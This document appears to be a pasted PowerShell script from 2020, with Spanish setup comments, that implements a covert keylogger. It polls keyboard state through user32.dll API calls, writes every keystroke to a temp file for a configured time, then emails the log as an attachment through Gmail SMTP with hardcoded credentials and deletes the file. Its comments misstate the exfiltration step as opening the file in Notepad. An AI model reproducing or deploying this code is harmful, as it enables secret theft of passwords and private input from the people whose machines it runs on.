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Jan 22nd, 2020
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  1. # Editar solo esta sección!
  2. $TimeToRun = 60
  3. $Pass = "moroni745"
  4. $Subject = "Keylogger Results"
  5. $body = "Keylogger Results"
  6. $SMTPServer = "smtp.gmail.com"
  7. $SMTPPort = "587"
  8. $credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
  9. ############################
  10.  
  11.  
  12. $TimeStart = Get-Date
  13. $TimeEnd = $timeStart.addminutes($TimeToRun)
  14.  
  15. #requires -Version 2
  16. function Start-KeyLogger($Path="$env:temp\keylogger.txt")
  17. {
  18. # Signatures for API Calls
  19. $signatures = @'
  20. [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
  21. public static extern short GetAsyncKeyState(int virtualKeyCode);
  22. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  23. public static extern int GetKeyboardState(byte[] keystate);
  24. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  25. public static extern int MapVirtualKey(uint uCode, int uMapType);
  26. [DllImport("user32.dll", CharSet=CharSet.Auto)]
  27. public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
  28. '@
  29.  
  30. # load signatures and make members available
  31. $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
  32.  
  33. # create output file
  34. $null = New-Item -Path $Path -ItemType File -Force
  35.  
  36. try
  37. {
  38.  
  39. # create endless loop. When user presses CTRL+C, finally-block
  40. # executes and shows the collected key presses
  41. while ($TimeEnd -ge $TimeNow) {
  42. Start-Sleep -Milliseconds 40
  43.  
  44. # scan all ASCII codes above 8
  45. for ($ascii = 9; $ascii -le 254; $ascii++) {
  46. # get current key state
  47. $state = $API::GetAsyncKeyState($ascii)
  48.  
  49. # is key pressed?
  50. if ($state -eq -32767) {
  51. $null = [console]::CapsLock
  52.  
  53. # translate scan code to real code
  54. $virtualKey = $API::MapVirtualKey($ascii, 3)
  55.  
  56. # get keyboard state for virtual keys
  57. $kbstate = New-Object Byte[] 256
  58. $checkkbstate = $API::GetKeyboardState($kbstate)
  59.  
  60. # prepare a StringBuilder to receive input key
  61. $mychar = New-Object -TypeName System.Text.StringBuilder
  62.  
  63. # translate virtual key
  64. $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
  65.  
  66. if ($success)
  67. {
  68. # add key to logger file
  69. [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
  70. }
  71. }
  72. }
  73. $TimeNow = Get-Date
  74. }
  75. }
  76. finally
  77. {
  78. # open logger file in Notepad
  79. send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
  80. Remove-Item -Path $Path -force
  81. exit 1
  82. }
  83. }
  84.  
  85. # records all key presses until script is aborted by pressing CTRL+C
  86. # will then open the file with collected key codes
  87. Start-KeyLogger
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